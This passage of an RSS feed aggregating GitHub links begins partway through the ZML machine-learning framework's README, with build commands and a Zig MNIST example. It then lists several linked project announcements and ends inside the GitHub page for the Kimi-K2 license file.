&lt;/ul&gt;&lt;p&gt;Example on CUDA:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //examples/llm --@zml//platforms:cuda=true -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt=&lt;span&gt;&lt;span&gt;&amp;quot;&lt;/span&gt;Write a haiku about Zig&lt;span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Example on ROCm:&lt;/p&gt;&lt;div&gt;&lt;pre&gt;bazel run //examples/llm --@zml//platforms:rocm=true -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt=&lt;span&gt;&lt;span&gt;&amp;quot;&lt;/span&gt;Write a haiku about Zig&lt;span&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Run Tests&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;bazel &lt;span&gt;test&lt;/span&gt; //zml:test&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h1&gt;Examples&lt;/h1&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/llm&quot;&gt;&lt;code&gt;examples/llm&lt;/code&gt;&lt;/a&gt;: unified LLM CLI for Llama, Qwen, and LFM&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/mnist&quot;&gt;&lt;code&gt;examples/mnist&lt;/code&gt;&lt;/a&gt;: smallest end-to-end model run&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/sharding&quot;&gt;&lt;code&gt;examples/sharding&lt;/code&gt;&lt;/a&gt;: logical mesh, partitioners, shard-local execution, profiler output&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/io&quot;&gt;&lt;code&gt;examples/io&lt;/code&gt;&lt;/a&gt;: inspect and load local, &lt;code&gt;hf://&lt;/code&gt;, &lt;code&gt;https://&lt;/code&gt;, and &lt;code&gt;s3://&lt;/code&gt; repositories through the VFS layer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/benchmark&quot;&gt;&lt;code&gt;examples/benchmark&lt;/code&gt;&lt;/a&gt;: measure loading and execution performance&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h1&gt;A Taste Of ZML&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;const&lt;/span&gt; &lt;span&gt;Mnist&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;struct&lt;/span&gt; {
    &lt;span&gt;fc1&lt;/span&gt;: &lt;span&gt;Layer&lt;/span&gt;,
    &lt;span&gt;fc2&lt;/span&gt;: &lt;span&gt;Layer&lt;/span&gt;,

    &lt;span&gt;const&lt;/span&gt; &lt;span&gt;Layer&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;struct&lt;/span&gt; {
        &lt;span&gt;weight&lt;/span&gt;: &lt;span&gt;zml.Tensor&lt;/span&gt;,
        &lt;span&gt;bias&lt;/span&gt;: &lt;span&gt;zml.Tensor&lt;/span&gt;,

        &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;init&lt;/span&gt;(&lt;span&gt;store&lt;/span&gt;: &lt;span&gt;zml.io.TensorStore.View&lt;/span&gt;) &lt;span&gt;Layer&lt;/span&gt; {
            &lt;span&gt;return&lt;/span&gt; .{
                .&lt;span&gt;weight&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;store&lt;/span&gt;.&lt;span&gt;createTensor&lt;/span&gt;(&lt;span&gt;&amp;quot;weight&amp;quot;&lt;/span&gt;, .{ &lt;span&gt;.d_out&lt;/span&gt;, &lt;span&gt;.d&lt;/span&gt; }, &lt;span&gt;null&lt;/span&gt;),
                .&lt;span&gt;bias&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;store&lt;/span&gt;.&lt;span&gt;createTensor&lt;/span&gt;(&lt;span&gt;&amp;quot;bias&amp;quot;&lt;/span&gt;, .{&lt;span&gt;.d_out&lt;/span&gt;}, &lt;span&gt;null&lt;/span&gt;),
            };
        }

        &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;forward&lt;/span&gt;(&lt;span&gt;self&lt;/span&gt;: &lt;span&gt;Layer&lt;/span&gt;, &lt;span&gt;input&lt;/span&gt;: &lt;span&gt;zml.Tensor&lt;/span&gt;) &lt;span&gt;zml.Tensor&lt;/span&gt; {
            &lt;span&gt;return&lt;/span&gt; &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;weight&lt;/span&gt;.&lt;span&gt;dot&lt;/span&gt;(&lt;span&gt;input&lt;/span&gt;, &lt;span&gt;.d&lt;/span&gt;).&lt;span&gt;add&lt;/span&gt;(&lt;span&gt;self&lt;/span&gt;.&lt;span&gt;bias&lt;/span&gt;).&lt;span&gt;relu&lt;/span&gt;().&lt;span&gt;withTags&lt;/span&gt;(.{&lt;span&gt;.d&lt;/span&gt;});
        }
    };

    &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;init&lt;/span&gt;(&lt;span&gt;store&lt;/span&gt;: &lt;span&gt;zml.io.TensorStore.View&lt;/span&gt;) &lt;span&gt;Mnist&lt;/span&gt; {
        &lt;span&gt;return&lt;/span&gt; .{
            .&lt;span&gt;fc1&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; .&lt;span&gt;init&lt;/span&gt;(&lt;span&gt;store&lt;/span&gt;.&lt;span&gt;withPrefix&lt;/span&gt;(&lt;span&gt;&amp;quot;fc1&amp;quot;&lt;/span&gt;)),
            .&lt;span&gt;fc2&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; .&lt;span&gt;init&lt;/span&gt;(&lt;span&gt;store&lt;/span&gt;.&lt;span&gt;withPrefix&lt;/span&gt;(&lt;span&gt;&amp;quot;fc2&amp;quot;&lt;/span&gt;)),
        };
    }

    &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;load&lt;/span&gt;(
        &lt;span&gt;self&lt;/span&gt;: &lt;span&gt;*&lt;/span&gt;&lt;span&gt;const&lt;/span&gt; &lt;span&gt;Mnist&lt;/span&gt;,
        &lt;span&gt;allocator&lt;/span&gt;: &lt;span&gt;std.mem.Allocator&lt;/span&gt;,
        &lt;span&gt;io&lt;/span&gt;: &lt;span&gt;std.Io&lt;/span&gt;,
        &lt;span&gt;platform&lt;/span&gt;: &lt;span&gt;*&lt;/span&gt;&lt;span&gt;const&lt;/span&gt; &lt;span&gt;zml.Platform&lt;/span&gt;,
        &lt;span&gt;store&lt;/span&gt;: &lt;span&gt;*&lt;/span&gt;&lt;span&gt;const&lt;/span&gt; &lt;span&gt;zml.io.TensorStore&lt;/span&gt;,
        &lt;span&gt;shardings&lt;/span&gt;: []&lt;span&gt;const&lt;/span&gt; &lt;span&gt;zml.Sharding&lt;/span&gt;,
    ) &lt;span&gt;!&lt;/span&gt;&lt;span&gt;zml.&lt;/span&gt;&lt;span&gt;Bufferized&lt;/span&gt;(&lt;span&gt;Mnist&lt;/span&gt;) {
        &lt;span&gt;return&lt;/span&gt; &lt;span&gt;zml&lt;/span&gt;.&lt;span&gt;io&lt;/span&gt;.&lt;span&gt;load&lt;/span&gt;(&lt;span&gt;Mnist&lt;/span&gt;, &lt;span&gt;self&lt;/span&gt;, &lt;span&gt;allocator&lt;/span&gt;, &lt;span&gt;io&lt;/span&gt;, &lt;span&gt;platform&lt;/span&gt;, &lt;span&gt;store&lt;/span&gt;, .{
            .&lt;span&gt;shardings&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;shardings&lt;/span&gt;,
            .&lt;span&gt;parallelism&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;,
            .&lt;span&gt;dma_chunks&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;,
            .&lt;span&gt;dma_chunk_size&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;16&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;1024&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;1024&lt;/span&gt;,
        });
    }

    &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;unloadBuffers&lt;/span&gt;(&lt;span&gt;self&lt;/span&gt;: &lt;span&gt;*&lt;/span&gt;&lt;span&gt;zml&lt;/span&gt;.&lt;span&gt;Bufferized&lt;/span&gt;(&lt;span&gt;Mnist&lt;/span&gt;)) &lt;span&gt;void&lt;/span&gt; {
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc1&lt;/span&gt;.&lt;span&gt;weight&lt;/span&gt;.&lt;span&gt;deinit&lt;/span&gt;();
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc1&lt;/span&gt;.&lt;span&gt;bias&lt;/span&gt;.&lt;span&gt;deinit&lt;/span&gt;();
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc2&lt;/span&gt;.&lt;span&gt;weight&lt;/span&gt;.&lt;span&gt;deinit&lt;/span&gt;();
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc2&lt;/span&gt;.&lt;span&gt;bias&lt;/span&gt;.&lt;span&gt;deinit&lt;/span&gt;();
    }

    &lt;span&gt;/// just two linear layers + relu activation&lt;/span&gt;
    &lt;span&gt;pub&lt;/span&gt; &lt;span&gt;fn&lt;/span&gt; &lt;span&gt;forward&lt;/span&gt;(&lt;span&gt;self&lt;/span&gt;: &lt;span&gt;Mnist&lt;/span&gt;, &lt;span&gt;input&lt;/span&gt;: &lt;span&gt;zml.Tensor&lt;/span&gt;) &lt;span&gt;zml.Tensor&lt;/span&gt; {
        &lt;span&gt;var&lt;/span&gt; &lt;span&gt;x&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;input&lt;/span&gt;.&lt;span&gt;flatten&lt;/span&gt;().&lt;span&gt;convert&lt;/span&gt;(&lt;span&gt;.f32&lt;/span&gt;).&lt;span&gt;withTags&lt;/span&gt;(.{&lt;span&gt;.d&lt;/span&gt;});
        &lt;span&gt;const&lt;/span&gt; &lt;span&gt;layers&lt;/span&gt;: []&lt;span&gt;const&lt;/span&gt; &lt;span&gt;Layer&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &amp;amp;.{ &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc1&lt;/span&gt;, &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;fc2&lt;/span&gt; };
        &lt;span&gt;for&lt;/span&gt; (&lt;span&gt;layers&lt;/span&gt;) &lt;span&gt;|&lt;/span&gt;&lt;span&gt;layer&lt;/span&gt;&lt;span&gt;|&lt;/span&gt; {
            &lt;span&gt;x&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;layer&lt;/span&gt;.&lt;span&gt;forward&lt;/span&gt;(&lt;span&gt;x&lt;/span&gt;);
        }
        &lt;span&gt;return&lt;/span&gt; &lt;span&gt;x&lt;/span&gt;.&lt;span&gt;argMax&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;).&lt;span&gt;indices&lt;/span&gt;.&lt;span&gt;convert&lt;/span&gt;(&lt;span&gt;.u8&lt;/span&gt;);
    }
};&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For a full walkthrough, see:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/tutorials/getting_started.md&quot;&gt;Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/tutorials/write_first_model.md&quot;&gt;Writing your first model&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/learn/concepts.md&quot;&gt;ZML Concepts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/howtos/deploy_on_server.md&quot;&gt;Deploying on a server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h1&gt;Where To Go Next&lt;/h1&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Run more examples in &lt;a href=&quot;https://github.com/zml/zml/blob/master/examples&quot;&gt;&lt;code&gt;./examples&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Read the example-specific notes in &lt;a href=&quot;https://github.com/zml/zml/blob/master/examples/llm/README.md&quot;&gt;&lt;code&gt;examples/llm/README.md&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Learn tagged dimensions in &lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/tutorials/working_with_tensors.md&quot;&gt;&lt;code&gt;working_with_tensors.md&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Start building a model with &lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/tutorials/write_first_model.md&quot;&gt;&lt;code&gt;write_first_model.md&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Explore deployment in &lt;a href=&quot;https://github.com/zml/zml/blob/master/docs/howtos/deploy_on_server.md&quot;&gt;&lt;code&gt;deploy_on_server.md&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h1&gt;Contributing&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;See &lt;a href=&quot;https://github.com/zml/zml/blob/master/CONTRIBUTING.md&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;License&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;ZML is licensed under the &lt;a href=&quot;https://github.com/zml/zml/blob/master/LICENSE&quot;&gt;Apache 2.0 license&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;h1&gt;Thanks To Our Contributors&lt;/h1&gt;&lt;/div&gt;&lt;a href=&quot;https://github.com/zml/zml/graphs/contributors&quot;&gt;
  &lt;img src=&quot;https://camo.githubusercontent.com/2a3d3717fb0efb49dc721fbedc96f100365d5b8198aeca6c6ce3b45397ae0a13/68747470733a2f2f636f6e747269622e726f636b732f696d6167653f7265706f3d7a6d6c2f7a6d6c&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;
&lt;/a&gt;</content:encoded>
</item>
<item>
<title>pg_durable: Microsoft open sources in-database durable execution</title>
<link>https://github.com/microsoft/pg_durable</link>
<guid isPermaLink="false">oz4Hcl52Fv7TOw5mEnMFHRm3nMLMxjmvh-3UlA==</guid>
<pubDate>Fri, 05 Jun 2026 20:46:39 +0000</pubDate>
<description>Article URL: https://github.com/microsoft/pg_durable Comments URL: https://news.ycombinator.com/item?id=48414367 Points: 214 # Comments: 48</description>
<content:encoded>&lt;p&gt;Article URL: &lt;a href=&quot;https://github.com/microsoft/pg_durable&quot;&gt;https://github.com/microsoft/pg_durable&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Comments URL: &lt;a href=&quot;https://news.ycombinator.com/item?id=48414367&quot;&gt;https://news.ycombinator.com/item?id=48414367&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Points: 214&lt;/p&gt;&lt;p&gt;# Comments: 48&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Show HN: Local-first fast CPU image to text for screenshots, PDFs, webpages</title>
<link>https://github.com/kouhxp/textsnap</link>
<guid isPermaLink="false">ktRxPwHmSmdIXvb89w1b7CmmgJJlhLtMdQG11g==</guid>
<pubDate>Fri, 05 Jun 2026 15:54:51 +0000</pubDate>
<description>Article URL: https://github.com/kouhxp/textsnap Comments URL: https://news.ycombinator.com/item?id=48410841 Points: 10 # Comments: 12</description>
<content:encoded>&lt;p&gt;Article URL: &lt;a href=&quot;https://github.com/kouhxp/textsnap&quot;&gt;https://github.com/kouhxp/textsnap&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Comments URL: &lt;a href=&quot;https://news.ycombinator.com/item?id=48410841&quot;&gt;https://news.ycombinator.com/item?id=48410841&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Points: 10&lt;/p&gt;&lt;p&gt;# Comments: 12&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Anthropic&#39;s open-source framework for AI-powered vulnerability discovery</title>
<link>https://github.com/anthropics/defending-code-reference-harness</link>
<guid isPermaLink="false">jeI8eKLEwFyVY5Xhc1Ju-t6og7zjkA1imOb0dg==</guid>
<pubDate>Fri, 05 Jun 2026 08:46:03 +0000</pubDate>
<description>Article URL: https://github.com/anthropics/defending-code-reference-harness Comments URL: https://news.ycombinator.com/item?id=48403980 Points: 402 # Comments: 116</description>
<content:encoded>&lt;p&gt;Article URL: &lt;a href=&quot;https://github.com/anthropics/defending-code-reference-harness&quot;&gt;https://github.com/anthropics/defending-code-reference-harness&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Comments URL: &lt;a href=&quot;https://news.ycombinator.com/item?id=48403980&quot;&gt;https://news.ycombinator.com/item?id=48403980&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Points: 402&lt;/p&gt;&lt;p&gt;# Comments: 116&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Open Code Review – An AI-powered code review CLI tool</title>
<link>https://github.com/alibaba/open-code-review</link>
<guid isPermaLink="false">kMJQK5LFI3o_d0FfwxdJZ1s9JsAjVA3ZS5TJag==</guid>
<pubDate>Fri, 05 Jun 2026 06:50:16 +0000</pubDate>
<description>Article URL: https://github.com/alibaba/open-code-review Comments URL: https://news.ycombinator.com/item?id=48406358 Points: 130 # Comments: 29</description>
<content:encoded>&lt;p&gt;Article URL: &lt;a href=&quot;https://github.com/alibaba/open-code-review&quot;&gt;https://github.com/alibaba/open-code-review&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Comments URL: &lt;a href=&quot;https://news.ycombinator.com/item?id=48406358&quot;&gt;https://news.ycombinator.com/item?id=48406358&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Points: 130&lt;/p&gt;&lt;p&gt;# Comments: 29&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Warren&#39;s Abstract Machine: A Tutorial Reconstruction</title>
<link>https://github.com/a-yiorgos/wambook</link>
<guid isPermaLink="false">OEXA6plJiBrJLXvFZ2ZbyeHraWIurigqR24EAw==</guid>
<pubDate>Fri, 05 Jun 2026 06:50:02 +0000</pubDate>
<description>Comments</description>
<content:encoded>&lt;p&gt;&lt;a href=&quot;https://lobste.rs/s/y6a6cg/warren_s_abstract_machine_tutorial&quot;&gt;Comments&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>jujutsu v0.42.0 released</title>
<link>https://github.com/jj-vcs/jj/releases/tag/v0.42.0</link>
<guid isPermaLink="false">gJiLI2lsgeVIV6avYJumyc96StwGEFdj2G2jxw==</guid>
<pubDate>Fri, 05 Jun 2026 00:44:43 +0000</pubDate>
<description>Comments</description>
<content:encoded>&lt;p&gt;&lt;a href=&quot;https://lobste.rs/s/jqkedb/jujutsu_v0_42_0_released&quot;&gt;Comments&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Kimi-K2/LICENSE at main · MoonshotAI/Kimi-K2 · GitHub</title>
<link>https://github.com/MoonshotAI/Kimi-K2/blob/main/LICENSE</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/2686a66c183b92411ce383e08c961ceab8a9a82888258d0402f88eadde61ec96/MoonshotAI/Kimi-K2"></enclosure>
<guid isPermaLink="false">NdYzZrZIdjG8GpKlSmE0q6tI42fuV-t0YcUwpg==</guid>
<pubDate>Sat, 30 May 2026 03:28:54 +0000</pubDate>
<description>Kimi K2 is the large language model series developed by Moonshot AI team - MoonshotAI/Kimi-K2</description>
<content:encoded>&lt;div&gt;
      Skip to content

      &lt;span&gt;
    
&lt;/span&gt;      
      
      



  
  
  






      

          

              






&lt;header&gt;
  &lt;h2&gt;Navigation Menu&lt;/h2&gt;

  

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        
      &lt;/div&gt;

      &lt;a href=&quot;https://github.com/&quot;&gt;
        
      &lt;/a&gt;

      &lt;div&gt;
          &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fmoonshotai%2FKimi-K2%2Fblob%2Fmain%2FLICENSE&quot;&gt;
            Sign in
          &lt;/a&gt;
              &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      &lt;div&gt;
          



  
  
  




        &lt;div&gt;
                



  &lt;div&gt;
      

    

    
&lt;div&gt;
  
      &lt;h1&gt;Search code, repositories, users, issues, pull requests...&lt;/h1&gt;
    &lt;div&gt;
      
          &lt;div&gt;        &lt;div&gt;
          
  
    &lt;div&gt;
      
        Search
      
      &lt;div&gt;
          &lt;span&gt;
            
          &lt;/span&gt;
        &lt;div&gt;
          
          &lt;div&gt;
            
            
          &lt;/div&gt;
        &lt;/div&gt;
          &lt;span&gt;
            &lt;span&gt;Clear&lt;/span&gt;
            

          &lt;/span&gt;
      &lt;/div&gt;
      



































































        &lt;div&gt;
                        

        &lt;/div&gt;
      &lt;div&gt;
        &lt;span&gt;
          
        &lt;/span&gt;
        
&lt;/div&gt;    &lt;/div&gt;
    

          &lt;div&gt;
            &lt;a href=&quot;https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax&quot;&gt;Search syntax tips&lt;/a&gt;            
          &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  
  &lt;div&gt;
    

  

    
    

  
    
  &lt;/div&gt;



            &lt;div&gt;
              &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fmoonshotai%2FKimi-K2%2Fblob%2Fmain%2FLICENSE&quot;&gt;
                Sign in
              &lt;/a&gt;
            &lt;/div&gt;

              &lt;a href=&quot;https://github.com/signup?ref_cta=Sign+up&amp;amp;ref_loc=header+logged+out&amp;amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fblob%2Fshow&amp;amp;source=header-repo&amp;amp;source_repo=MoonshotAI%2FKimi-K2&quot;&gt;
                Sign up
              &lt;/a&gt;

                &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

          
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/header&gt;

      &lt;div&gt;
  
        
        &lt;span&gt;You signed in with another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You signed out in another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You switched accounts on another tab or window. Reload to refresh your session.&lt;/span&gt;

    Dismiss alert


  
&lt;/div&gt;
    &lt;/div&gt;&lt;div&gt;
        &lt;div&gt;
    &lt;main&gt;
      
      
    

    






  

  &lt;div&gt;

      &lt;div&gt;

        &lt;div&gt;
            
  &lt;div&gt;
      
    
    &lt;span&gt;
      &lt;a href=&quot;https://github.com/MoonshotAI&quot;&gt;
        MoonshotAI
&lt;/a&gt;    &lt;/span&gt;
    &lt;span&gt;/&lt;/span&gt;
    &lt;strong&gt;
      &lt;a href=&quot;https://github.com/MoonshotAI/Kimi-K2&quot;&gt;Kimi-K2&lt;/a&gt;
    &lt;/strong&gt;

    &lt;span&gt;Public&lt;/span&gt;
  &lt;/div&gt;


        &lt;/div&gt;

        &lt;div&gt;
            &lt;ul&gt;
    
      

  &lt;li&gt;
            &lt;a href=&quot;https://github.com/login?return_to=%2FMoonshotAI%2FKimi-K2&quot;&gt;    Notifications
&lt;/a&gt;    You must be signed in to change notification settings

  &lt;/li&gt;

  &lt;li&gt;
          &lt;a href=&quot;https://github.com/login?return_to=%2FMoonshotAI%2FKimi-K2&quot;&gt;    Fork
    &lt;span&gt;845&lt;/span&gt;
&lt;/a&gt;
  &lt;/li&gt;

  &lt;li&gt;
        &lt;div&gt;
        &lt;a href=&quot;https://github.com/login?return_to=%2FMoonshotAI%2FKimi-K2&quot;&gt;    &lt;span&gt;
          Star
&lt;/span&gt;          &lt;span&gt;10.8k&lt;/span&gt;
&lt;/a&gt;&lt;/div&gt;
  &lt;/li&gt;

&lt;/ul&gt;

        &lt;/div&gt;
      &lt;/div&gt;

        &lt;div&gt;
&lt;/div&gt;


          

  &lt;/div&gt;
  




    &lt;div&gt;
    



    
      
    









  
  
  &lt;div&gt;  &lt;a href=&quot;https://github.com/MoonshotAI/Kimi-K2&quot;&gt;&lt;/a&gt; &lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;  &lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;span&gt;Expand file tree&lt;/span&gt;&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;/&lt;/span&gt;&lt;h1&gt;LICENSE&lt;/h1&gt;&lt;/div&gt;&lt;span&gt;Copy path&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;More file actions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;More file actions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt; &lt;div&gt;&lt;div&gt;&lt;h2&gt;Latest commit&lt;/h2&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;History&lt;/h2&gt;&lt;a href=&quot;https://github.com/MoonshotAI/Kimi-K2/commits/main/LICENSE&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;History&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/MoonshotAI/Kimi-K2/commits/main/LICENSE&quot;&gt;&lt;/a&gt;&lt;span&gt;History&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;27 lines (22 loc) · 1.43 KB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;/&lt;/span&gt;&lt;h1&gt;LICENSE&lt;/h1&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;File metadata and controls&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;27 lines (22 loc) · 1.43 KB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/moonshotai/Kimi-K2/raw/refs/heads/main/LICENSE&quot;&gt;&lt;span&gt;&lt;span&gt;Raw&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Copy raw file&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Download raw file&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Open symbols panel&lt;/span&gt;&lt;div&gt;&lt;span&gt;Edit and raw actions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;section&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;div&gt;2&lt;/div&gt;&lt;div&gt;3&lt;/div&gt;&lt;div&gt;4&lt;/div&gt;&lt;div&gt;5&lt;/div&gt;&lt;div&gt;6&lt;/div&gt;&lt;div&gt;7&lt;/div&gt;&lt;div&gt;8&lt;/div&gt;&lt;div&gt;9&lt;/div&gt;&lt;div&gt;10&lt;/div&gt;&lt;div&gt;11&lt;/div&gt;&lt;div&gt;12&lt;/div&gt;&lt;div&gt;13&lt;/div&gt;&lt;div&gt;14&lt;/div&gt;&lt;div&gt;15&lt;/div&gt;&lt;div&gt;16&lt;/div&gt;&lt;div&gt;17&lt;/div&gt;&lt;div&gt;18&lt;/div&gt;&lt;div&gt;19&lt;/div&gt;&lt;div&gt;20&lt;/div&gt;&lt;div&gt;21&lt;/div&gt;&lt;div&gt;22&lt;/div&gt;&lt;div&gt;23&lt;/div&gt;&lt;div&gt;24&lt;/div&gt;&lt;div&gt;25&lt;/div&gt;&lt;div&gt;26&lt;/div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;Modi